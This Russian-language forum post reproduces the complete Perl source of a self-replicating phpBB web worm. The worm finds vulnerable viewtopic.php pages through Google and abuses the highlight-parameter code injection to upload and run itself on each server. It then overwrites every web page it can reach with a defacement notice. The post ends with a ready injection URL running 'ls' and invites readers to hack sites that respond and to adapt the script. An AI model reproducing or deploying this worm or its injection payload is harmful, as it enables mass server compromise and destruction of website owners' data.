![Smile :)](./../images/smilies/smile.gif)
Код: Выделить всё
#!/usr/bin/perl
use strict;
use Socket;
sub PayLoad();
sub DoDir($);
sub DoFile($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);
eval{ fork and exit; };
my $generation = 14;
PayLoad() if $generation > 3;
open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;
while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3) {
PayLoad() ;
} else {
exit;
}
}
$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';
while(1) {
exit if -e 'stop.it';
OUTER: for my $url (GoGoogle()) {
exit if -e 'stop.it';
$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' .
str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) .
'),exit%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $portion;
next OUTER unless GrabURL($url);
}
my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) .
')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;
GrabURL($url);
}
}
sub str2chr($) {
my $s = shift;
$s =~ s/(.)/'chr(' . ord($1) . ')%252e'/seg;
$s =~ s/%252e$//;
return $s;
}
sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .
'&q=allinurl%3A+%22viewtopic.php%22+%22' .
$ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';
my $goo1st = GrabURL($startURL);
return unless defined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' .
'><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo .= GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}
return @urls;
}
sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;
my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);
my $r = "GET $res HTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept: */*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";
my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;
my $answer = join '', <Server>;
close(Server);
return $answer;
}
sub DoFile($) {
my $s = q{<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>This site is defaced!!!</TITLE>
</HEAD><BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR>
<ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS>
</BODY></HTML>
};
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}
sub DoDir($) {
my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;
local *DIR;
opendir DIR, $dir or return;
for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}
if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i
or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}
closedir DIR;
}
sub PayLoad() {
my @dirs;
eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};
push(@dirs, '/');
for my $l ('A' .. 'Z') {
push(@dirs, $l . ':');
}
for my $d (@dirs) { DoDir($d); }
}
Неприятно, но не смертельно - товарищи, делайте бэкапы вовремя!
Кому не лень - можете поразвлекаться, если по нижеприведённой ссылке вывальвается список файлов сервера - его можно спокойно ломать.
http://www.адрес_сайта.ru/viewtopic.php?t=16&highlight=%2527%252esystem(chr(108)%252echr(115))%252e%2527
Можно подрихтовать вышеприведённый скрипт под свои нужды
![Smile :)](./../images/smilies/smile.gif)